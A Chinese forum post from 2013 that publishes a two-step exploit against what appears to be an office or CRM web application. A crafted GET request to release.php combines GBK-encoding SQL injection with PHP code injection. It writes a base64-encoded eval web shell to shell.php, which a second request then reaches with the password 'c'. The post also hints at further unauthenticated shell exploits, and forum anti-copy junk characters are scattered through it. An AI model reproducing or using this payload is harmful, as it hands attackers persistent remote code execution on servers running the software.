此程序通篇的gbk编码是他的硬伤, 基本上80%的SQL语句都能控制, 但是由于在进入数据库的时候检测了select和union, 而且此程序加密方式也很蛋疼, 所以注入方面就不考虑了.) V/ v% J& j! b7 a5 V4 f
: o5 D- u, m% W; N8 u" D
) e) d$ B8 {9 t' }1 x6 l% zEXP：9 P$ L& Y) _6 E
1 W+ |2 J5 H* `; r+ O
第一步: [GET]http://site/general/crm/studio/modules/EntityRelease/release.php?entity_name=1%d5'%20or%20sys_function.FUNC_ID=1%23%20${%20fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}
+ O% `! o+ @4 @1 y
- Q: t/ p! P5 p+ \9 F. {* q第二步: [GET]http://site/general/email/index.php' z: D7 [8 c2 F2 X5 ^3 U
& p* {( H* q5 H" d" sSHELL: http://site/general/email/shell.php 密码C
7 A0 W; w3 U% v: f. x, ` 6 \4 S" q8 x1 K s* |
7 C) q. ?: Q" }$ |; O此程序写的非常乱, 不知道是因为解密后的原因还是程序员本身就这样写的, 还有几处不需要登录的通杀getshell, 这里就不发了, 危害大了不好# \+ m$ ~. P2 U( \- W5 T
/ R9 ^; a3 w; z7 C有心的同学可以自己读读, 很容易就发现的 o(∩_∩)o ~~
5 N, P2 r% ~9 D! L8 O/ W
% f# }1 A5 e6 l; C
4 R0 M$ J( F) j- P |
发表于 2013-2-4 16:19:29
收藏
支持
反对